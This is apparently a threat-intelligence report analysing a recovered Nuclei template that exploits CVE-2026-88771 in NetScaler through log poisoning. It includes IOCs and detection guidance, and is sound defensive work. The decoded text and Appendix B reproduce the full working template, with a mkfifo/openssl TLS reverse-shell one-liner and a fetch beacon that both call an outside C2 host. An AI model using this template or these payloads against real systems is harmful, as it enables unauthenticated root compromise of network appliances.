CVE-2026-88771 - NetScalers versus The Chinese Pitboss
- published
- reading time
- 11 minutes
| Field | Value |
|---|---|
| Document Version | 1.1 |
| TLP | ⚪ TLP:WHITE |
| Published by: | mökki.sh |
This report assumes a minimum familiarity with CVE-2026-88771. More information can be found at:
- https://support.citrix.com/external/article/CTX697096
- https://watchtowr.com/intelligence/citrix-netscaler-zero-day-vulnerabilities-faq
Summary
A Nuclei detection and exploitation template for CVE-2026-88771, an unauthenticated remote code execution vulnerability in Citrix NetScaler ADC and NetScaler Gateway, was recovered from an open directory at 94.26.35.132:8899. The template uses Chinese-language comments that explain the vulnerability mechanism and the operator’s exploitation strategy in detail. The template delivers a two-stage payload leading to a TLS-wrapped reverse shell and a secondary HTTP beacon used to confirm execution.
No dynamic analysis of this file was performed. All findings below come from static review of the file content.
Assessment
This Nuclei template file is a working exploitation tool for a critical, currently actively exploited NetScaler vulnerability. Anyone running it against an unpatched NetScaler gets a reverse shell with root-level access with no credentials required.
The Chinese comments are the most notable feature. They reads as a technical walkthrough covering the root cause, the exact log string needed to trigger it, and the reasoning behind each design choice in the request.
Both IPs in this report are assessed to be under the same operator’s control. 94.26.35.132 is the attack origin, the host from which the operator launches the template against target NetScaler appliances. 185.135.77.63 is the C2 server that receives the reverse shell sessions from successfully compromised victims.
Background
The file was captured from an open directory at 94.26.35.132:8899 on 2026-10-02, accessed via Validin Open Directories on 2026-10-04. The file was last modified two days prior on 2026-09-30. The directory contains additional files beyond the one covered here. Those are outside the scope of this report.
Technical Analysis of CVE-2026-88771-citrix-netscaler.yml
The Nuclei template in its entirety can be found in the bottom of the report as ‘Appendix B’.
Per the template’s own comments, the NetScaler component ns_monuploadd_err.pl extracts NSPPE core dump filenames from log entries using grep, sed, and awk, then splices the extracted value into a find command without validating the log content first. Any attacker-controlled field that reaches the logs, such as the login parameter or the User-Agent header, can contain the string pitboss PPE unexpectedly died NSPPE;<command>;# X and have that command executed as root once the script next runs its cycle, stated in the comments as occurring within 24 hours.
The template sends a single POST request to /nf/auth/doAuthentication.do with Content-Type: application/x-www-form-urlencoded, which poisons logs in two places at once.
- The
User-Agentheader carries the primary reverse shell payload - The
loginform parameter carries a secondary execution-confirmation payload
The string ${IFS} resolves to a space and is used to avoid having raw space characters in the field. This is a technique noted by CERT-EU in early exploitation attempts using CVE-2026-88771. Decoded, the user-agent payload is:
mkfifo /tmp/.ars; sh -i </tmp/.ars 2>&1 | openssl s_client -quiet -connect 185.135.77.63:4443 >/tmp/.ars 2>/dev/null; rm /tmp/.ars
This command uses mkfifo to create a named pipe at /tmp/.ars, then wires an interactive shell’s input and output through that pipe, and relays the shell session over an openssl s_client TLS connection to 185.135.77.63 on port 4443 which creates a TLS-wrapped reverse shell. The pipe is deleted once the shell session ends. The comments state the operator’s listener is run by a file called listener.py which performs an automatic whoami check on connection as a second verification step. This listener.py name reference comes from the template’s own comments. This file has not been located.
The named pipe is a special filesystem object that moves bytes from one process to another without holding any data of its own. Unlike a regular file, nothing accumulates inside it and it only works while one process is writing into one end and another is reading from the other end at the same time. Here it is what lets sh -i have its input and output connected directly to openssl s_client, instead of relying on a temporary file or a second network socket.
+--------+ /tmp/.ars (pipe) +---------+ TLS:4443 +---------------+
| sh -i |<------------------>| openssl |<---------->| 185.135.77.63 |
+--------+ | s_client| +---------------+
Commands typed by the attacker arrive over TLS, pass through the pipe into the shell, and the shell’s output returns the same way. The pipe is the live channel for the whole session, not a one-time setup step. It is removed with rm /tmp/.ars only after the session ends.
The login parameter payload, decoded from URL encoding:
fetch -qo /dev/null http://185.135.77.63:8000/nsc-{{randstr}}
Citrix NetScalers run a modified version of FreeBSD and fetch is the FreeBSD base system’s HTTP client. The flags suppress (-q) output and discard the response body (-o to /dev/null), so this call exists solely to confirm, out of band, that the injected command executed, using a randomised path segment per the comments to distinguish individual runs.
Both payloads are prefixed with the exact log trigger string pitboss PPE unexpectedly died NSPPE; and suffixed with ;# X that are present in watchTowr’s POC, which comments out any trailing text the vulnerable script appends after the injected command.
Comparison with watchTowr public PoC
The watchTowr PoC for CVE-2026-88771 poisons only the login form parameter and accepts a command as an argument and exiting after a single request. The template here extends that to a dual-field approach, placing an independent reverse shell payload in the User-Agent header alongside the login parameter beacon. The two fields are injected simultaneously in the same request. If one field is sanitised, stripped, or truncated before reaching the log, the other remains a viable execution channel.
While not unique to exploitation of CVE-2026-88771, the ${IFS} substitution throughout the User-Agent payload is the operator’s own addition, required by YAML syntax rather than by the vulnerability itself. The watchTowr script constructs payloads in Python and has no equivalent constraint. The watchTowr script also includes no fingerprinting, no target verification, and no out-of-band execution confirmation, while this Nuclei template wraps the same injection in a full detection and confirmation package.
Fingerprinting and verification
The template fingerprints NetScaler targets using a rule built into the template itself, which is then evaluated against the first response only. It matches on the NSC_ session cookie pattern, a NetScaler or Citrix Gateway Server header, body strings tied to the Citrix logon page, or the page title. The comments note a matching rule exists in a separate shared fingerprint library, but is duplicated here to keep the template self-contained.
Exploitation is verified by checking for an HTTP 200 status together with a vnd.citrix.authenticateresponse content type header, which the comments state is unique to NetScaler’s AAA authentication handler and present across the full authentication flow, used in place of a body match because reflected content varies by authentication state.
Attack Flow
+------------------+ Initial request +-------------------+
| | -----------------------> | |
| Nuclei | | Target host |
| template | <----------------------- | |
| | Response +-------------------+
+------------------+
|
| Evaluate response against fingerprint rules (any one sufficient)
|
+-- Set-Cookie: NSC_[A-Za-z0-9] --+
+-- Server: netscaler (case-insensitive) | MATCH -> proceed to exploit
+-- Body: /logon/LogonPoint, Citrix Gateway |
+-- Title: netscaler, citrix gateway --+
|
| No match -> skip host
|
v
+------------------+ POST /nf/auth/doAuthentication.do +-------------------+
| | ----------------------------------------> | |
| Nuclei | poisoned User-Agent + login parameter | NetScaler AAA |
| template | <---------------------------------------- | handler |
| | Response +-------------------+
+------------------+
|
| Verify response
|
+-- HTTP 200
+-- Content-Type: vnd.citrix.authenticateresponse -> CONFIRMED: poison delivered
|
| Either condition fails -> unconfirmed
Conclusion
The template is a capable and well-structured exploitation tool for a critical and actively exploited vulnerability. It extends the public watchTowr PoC with dual-field log poisoning, a TLS reverse shell, out-of-band execution confirmation, and target fingerprinting built into the template itself. This is all in a single file with detailed Chinese-language operational commentary. The infrastructure separation between the attack origin and the C2 server is deliberate, reducing the effectiveness of reactive blocking on the victim side.
At the time of analysis, neither C2 port was responding, and the template could not have established a successful session against a vulnerable target. The log poisoning itself would still execute on an unpatched appliance, as execution depends on the ns_monuploadd_err.pl cycle rather than a live connection at the time of the request.
Indicators of Compromise
Network
| Type | Value | Notes |
|---|---|---|
| IP | 185.135.77.63 | Reverse shell listener and execution-confirmation beacon host, IVPN exit node, AS132825 MYTEK TRADING PTY LTD, Tokyo - see note below |
| IP | 94.26.35.132 | Open directory hosting the template |
| Port | 4443/TCP | Reverse shell channel outbound from victim |
| Port | 8000/TCP | Execution-confirmation beacon outbound from victim |
| URL | http://185.135.77.63:8000/nsc-[a-z0-9]{8} | Beacon path pattern with an 8-character random alphanumeric suffix generated by Nuclei {{randstr}} per run |
| User-Agent | Mozilla/5.0 pitboss PPE unexpectedly died NSPPE;* |
UA used in exploitation request |
Note on 185.135.77.63. Spur.us and Synthient.com both identify this address as a commercial VPN exit node operated by IVPN (ivpn.net). Synthient records two devices and a last-seen date of 2026-10-04 in a proxy role, with a medium risk score of 65/100. IKE responses on ports 500/UDP and 4500/UDP corroborate active VPN service on the host. At the time of analysis, ports 4443/TCP and 8000/TCP were not responding. The template would execute on a vulnerable target, but no reverse shell session would be established and no beacon confirmation would be received, with this current template configuration.
Note on 94.26.35.132. The /24 block 94.26.35.0/24 is held by Private Layer INC (AS51852), a Panama-registered provider with infrastructure in Zurich, and sub-allocated to Sino Worldwide Trading Limited (AS211443).
String / Log
| Type | Value | Notes |
|---|---|---|
| Log string | pitboss PPE unexpectedly died NSPPE |
Trigger string - presence in any log processed by ns_monuploadd_err.pl indicates a poisoning attempt |
| URL-encoded | pitboss%20PPE%20unexpectedly%20died%20NSPPE |
As it appears in the login parameter of the POST body |
File
| Type | Value | Notes |
|---|---|---|
| Named pipe | /tmp/.ars | Present on victim host only during an active reverse shell session |
Detection Guidance
On Disk
The following indicators may be present on a compromised NetScaler ADC or Gateway host. Absence of /tmp/.ars does not rule out compromise, as the payload deletes the named pipe on session end.
/tmp/.ars- named pipe created by the reverse shell payload, present only during an active session- Log entries containing the string
pitboss PPE unexpectedly died NSPPEin any log file processed byns_monuploadd_err.pl ns_monuploadd_err.pl- review the installed version against fixed builds 14.1-73.37 and 13.1-64.23 to confirm patch status
In Network Logs
Inbound to NetScaler
POST /nf/auth/doAuthentication.dowith aUser-Agentheader containing the stringpitboss PPE unexpectedly died NSPPEPOST /nf/auth/doAuthentication.dowith aloginparameter containingpitboss PPE unexpectedly died NSPPE(URL-encoded:pitboss%20PPE%20unexpectedly%20died%20NSPPE)User-Agentheader beginning withMozilla/5.0followed directly by injected content and no standard platform comment or product tokens. This pattern is syntactically invalid and does not appear in legitimate browser traffic. It is the structure produced by the watchTowr proof of concept and indicates exploitation activity at the CVE-2026-88771 endpoint. The valueMozilla/5.0 pitboss PPE unexpectedly died NSPPEis specific to this template and carries higher confidence.
Outbound from NetScaler
- TLS connection to
185.135.77.63on port4443for the reverse shell channel viaopenssl s_client - HTTP
GETrequest to185.135.77.63on port8000with a path matching/nsc-<random string>for the out-of-band execution confirmation beacon
Seeing as the IPs above are no longer active, finding them in your logs would indicate past activity towards your system. Connections to different IPs on the same ports with the same parameters should be investigated.
Appendix A - CVE-2026-88771-citrix-netscaler.yml - File Info
| Field | Value |
|---|---|
| Filename | CVE-2026-88771-citrix-netscaler.yml |
| Source | Open directory on 94.26.35.132:8899 |
| Capture time | 2026-10-02T07:09:49Z |
| Modified | 2026-09-30T13:06:19Z |
| Collection method | Validin Open Directories |
| File type | Nuclei YAML template |
| Size | 2393 bytes |
| MD5 | e0254cb527fdccee866f1d4b102682e2 |
| SHA1 | 5d1f602278f6013e987cad39242019c2c01e78c1 |
| SHA256 | c5966716881bf330d285e07a2d57dd0e264fbdb7c26f3a2c2b4282985812a8ed |
Appendix B - CVE-2026-88771-citrix-netscaler.yml - Template Content
id: CVE-2026-88771
info:
name: Citrix NetScaler ADC/Gateway PreAuth Command Injection (ns_monuploadd_err.pl Log Poisoning)
severity: critical
tags: [citrix, netscaler, adc, gateway, rce, command-injection, kev]
reference:
- https://watchtowr.com/intelligence/citrix-netscaler-zero-day-vulnerabilities-faq
# 原理: ns_monuploadd_err.pl 用 grep|sed|awk 从日志提取 NSPPE core 文件名后拼进反引号 find 命令,
# 日志内容未校验 → 任何落日志的攻击者可控字段(login/UA/参数)带
# "pitboss PPE unexpectedly died NSPPE;<无空格命令>;# X"
# 即在脚本周期运行(<=24h)时以 root 执行注入命令。修复: 14.1-73.37 / 13.1-64.23 (CTX697096)。
# 本 POC 单请求双投毒:
# login 参数 → fetch 回调 http://LHOST:8000/nsc-{{randstr}} (执行证明, FreeBSD base 自带 fetch)
# User-Agent → openssl TLS 反弹到 4443 (listener.py 会话, 自动 whoami 二次验证)
# 指纹路由:内联声明式规则(对首响应求值,零额外请求);product 为开放标签不依赖引擎枚举。
# 指纹库 fingerprints/netscaler.yml 有同款规则,此处内联保证目录自包含。
fingerprint:
product: netscaler
match:
any:
- set_cookie: 'NSC_[A-Za-z]'
- server: '(?i)netscaler'
- body: '/logon/LogonPoint|nscsp_violation|Citrix Gateway|vpn/index\.html'
- title: '(?i)netscaler|citrix gateway'
request:
method: POST
path: /nf/auth/doAuthentication.do
headers:
Content-Type: application/x-www-form-urlencoded
User-Agent: "Mozilla/5.0 pitboss PPE unexpectedly died NSPPE;mkfifo${IFS}/tmp/.ars;sh${IFS}-i${IFS}</tmp/.ars${IFS}2>&1${IFS}|${IFS}openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}185.135.77.63:4443${IFS}>/tmp/.ars${IFS}2>/dev/null;rm${IFS}/tmp/.ars;# X"
body: 'login=pitboss%20PPE%20unexpectedly%20died%20NSPPE%3Bfetch%24%7BIFS%7D-qo%24%7BIFS%7D%2Fdev%2Fnull%24%7BIFS%7Dhttp%3A%2F%2F185.135.77.63%3A8000%2Fnsc-{{randstr}}%3B%23%20X&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On'
# verify 走 status+header_match(body 反射因认证流而异不可靠;vnd.citrix.authenticateresponse
# 是 NetScaler AAA 处理器独有 Content-Type,全认证流必带)。注意引擎按 match_pattern>header 顺序
# 短路,故不放 match_pattern。
verify:
status: 200
header_match: 'vnd\.citrix\.authenticateresponse'
exploit:
type: rce
References
- Citrix advisory CTX697096 - https://support.citrix.com/external/article/CTX697096
- watchTowr CVE-2026-88771 FAQ - https://watchtowr.com/intelligence/citrix-netscaler-zero-day-vulnerabilities-faq
- CERT-EU, Taking Execute Logging a Bit Too Literally - https://cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771
- Spur.us - https://spur.us
- Synthient.com - https://synthient.com
- Validin Open Directories - https://validin.com
- Anthropic’s Claude Sonnet 4.6 for:
- Report structure
- Generating ASCII art
- Generating appendices
Changelog
| Version | Date | Description |
|---|---|---|
| 1.0 | 2026-10-04 | Initial Release |
| 1.1 | 2026-10-08 | Changing phrasing, changed TLP to WHITE |
// mökki.sh